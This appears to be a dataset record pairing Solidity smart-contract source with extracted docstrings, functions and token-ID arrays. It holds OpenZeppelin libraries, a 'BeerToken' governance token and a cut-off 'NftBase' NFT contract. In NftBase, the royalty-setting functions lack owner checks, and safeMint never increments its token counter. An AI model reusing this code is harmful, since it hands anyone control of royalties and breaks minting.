* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/BeerToken.sol
pragma solidity 0.6.12;
// BeerToken with Governance.
contract BeerToken is ERC20("Beer Token", "BEER"), Ownable {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegator The address to get delegatee for
*/
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
bytes32 domainSeparator = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)
)
);
bytes32 structHash = keccak256(
abi.encode(
DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry
)
);
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
domainSeparator,
structHash
)
);
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "BEER::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "BEER::delegateBySig: invalid nonce");
require(now <= expiry, "BEER::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "BEER::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying BEERs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
)
internal
{
uint32 blockNumber = safe32(block.number, "BEER::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
} | * @notice Delegates votes from signatory to `delegatee` @param delegatee The address to delegate votes to @param nonce The contract state required to match the signature @param expiry The time at which to expire the signature @param v The recovery byte of the signature @param r Half of the ECDSA signature pair @param s Half of the ECDSA signature pair/ | function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
bytes32 domainSeparator = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)
)
);
bytes32 structHash = keccak256(
abi.encode(
DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry
)
);
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
domainSeparator,
structHash
)
);
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "BEER::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "BEER::delegateBySig: invalid nonce");
require(now <= expiry, "BEER::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
| 291,197 | [
1,
15608,
815,
19588,
628,
1573,
8452,
358,
1375,
22216,
73,
68,
225,
7152,
73,
1021,
1758,
358,
7152,
19588,
358,
225,
7448,
1021,
6835,
919,
1931,
358,
845,
326,
3372,
225,
10839,
1021,
813,
622,
1492,
358,
6930,
326,
3372,
225,
331,
1021,
11044,
1160,
434,
326,
3372,
225,
436,
670,
6186,
434,
326,
7773,
19748,
3372,
3082,
225,
272,
670,
6186,
434,
326,
7773,
19748,
3372,
3082,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
7152,
858,
8267,
12,
203,
3639,
1758,
7152,
73,
16,
203,
3639,
2254,
7448,
16,
203,
3639,
2254,
10839,
16,
203,
3639,
2254,
28,
331,
16,
203,
3639,
1731,
1578,
436,
16,
203,
3639,
1731,
1578,
272,
203,
565,
262,
203,
3639,
3903,
203,
565,
288,
203,
3639,
1731,
1578,
2461,
6581,
273,
417,
24410,
581,
5034,
12,
203,
5411,
24126,
18,
3015,
12,
203,
7734,
27025,
67,
2399,
15920,
16,
203,
7734,
417,
24410,
581,
5034,
12,
3890,
12,
529,
10756,
3631,
203,
7734,
30170,
548,
9334,
203,
7734,
1758,
12,
2211,
13,
203,
5411,
262,
203,
3639,
11272,
203,
203,
3639,
1731,
1578,
1958,
2310,
273,
417,
24410,
581,
5034,
12,
203,
5411,
24126,
18,
3015,
12,
203,
7734,
2030,
19384,
2689,
67,
2399,
15920,
16,
203,
7734,
7152,
73,
16,
203,
7734,
7448,
16,
203,
7734,
10839,
203,
5411,
262,
203,
3639,
11272,
203,
203,
3639,
1731,
1578,
5403,
273,
417,
24410,
581,
5034,
12,
203,
5411,
24126,
18,
3015,
4420,
329,
12,
203,
7734,
1548,
92,
3657,
64,
92,
1611,
3113,
203,
7734,
2461,
6581,
16,
203,
7734,
1958,
2310,
203,
5411,
262,
203,
3639,
11272,
203,
203,
3639,
1758,
1573,
8452,
273,
425,
1793,
3165,
12,
10171,
16,
331,
16,
436,
16,
272,
1769,
203,
3639,
2583,
12,
2977,
8452,
480,
1758,
12,
20,
3631,
315,
5948,
654,
2866,
22216,
858,
8267,
30,
2057,
3372,
8863,
203,
3639,
2583,
12,
12824,
422,
1661,
764,
63,
2977,
8452,
3737,
15,
16,
315,
5948,
654,
2866,
22216,
858,
8267,
2
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
// import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Royalty.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract NftBase is ERC721Royalty, Pausable, Ownable, ReentrancyGuard {// ERC721Burnable,
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
string public uriPrefix = "_CID_";
string public uriSuffix = ".json";
uint256 public maxSupply;
uint256 private price;
mapping(uint256 => uint256) public thePrice; // tokenId -> price [airdrop = 0]
constructor(
uint256 _maxSupply,
uint256 _price,
uint96 _royality,
string memory _uriPrefix
)
ERC721("Trust Nft", "TNFT") {
maxSupply = _maxSupply;
price = _price;
uriPrefix = _uriPrefix;
setDefaultRoyalty(msg.sender, _royality);
}
function pause() public onlyOwner {
_pause();
}
function unpause() public onlyOwner {
_unpause();
}
function airdropMint(address to) public onlyOwner whenNotPaused {
require(uint256(_tokenIdCounter.current()) < maxSupply, "mint finish");
uint256 tokenId = _tokenIdCounter.current();
_tokenIdCounter.increment();
_safeMint(to, tokenId);
}
function safeMint(address to) payable public whenNotPaused {
require(uint256(_tokenIdCounter.current()) < maxSupply, "mint finish");
require(msg.value >= price,"abda says: money money money!");
uint256 tokenId = _tokenIdCounter.current();
// _tokenIdCounter.increment();
thePrice[tokenId] = price;
_safeMint(to, tokenId);
}
function burn(uint256 tokenId) public {
_burn(tokenId);
}
function setCost(uint256 _newCost) public onlyOwner {
price = _newCost;
}
// royality
function setTokenRoyalty(
uint256 tokenId,
address recipient,
uint96 fraction
) public {
_setTokenRoyalty(tokenId, recipient, fraction);
}
function setDefaultRoyalty(address recipient, uint96 fraction) public {
_setDefaultRoyalty(recipient, fraction);
}
function deleteDefaultRoyalty() public {
_deleteDefaultRoyalty();
}
// royality end
// uri
function tokenURI(uint256 _tokenId)
public view virtual override returns (string memory) {
require(_exists(_tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory gateway = "ipfs://";
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(gateway, currentBaseURI, "/", _tokenId.toString(), uriSuffix))
: "";
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
uriPrefix = _uriPrefix;
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
uriSuffix = _uriSuffix;
}
function _baseURI() internal view virtual override returns (string memory) {
return uriPrefix; // set/put "cidHashHere" from setUriPrefix()
}
// uri end
// erc20 recomendation
function withdraw() payable public onlyOwner nonReentrant {
(bool success, ) = payable(owner()).call{value: address(this).balance}("");
require(success);
}
receive() external payable {}
fallback() external payable {}
function balanceOf20() view public returns(uint) {
return address(this).balance;
}
// erc20 end
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
whenNotPaused
override
{
super._beforeTokenTransfer(from, to, tokenId);
}
}
| import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol"; | import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Royalty.sol";
| 12,859,271 | [
1,
5666,
8787,
3190,
94,
881,
84,
292,
267,
19,
16351,
87,
19,
2316,
19,
654,
39,
27,
5340,
19,
9489,
19,
654,
39,
27,
5340,
38,
321,
429,
18,
18281,
14432,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
5666,
8787,
3190,
94,
881,
84,
292,
267,
19,
16351,
87,
19,
2316,
19,
654,
39,
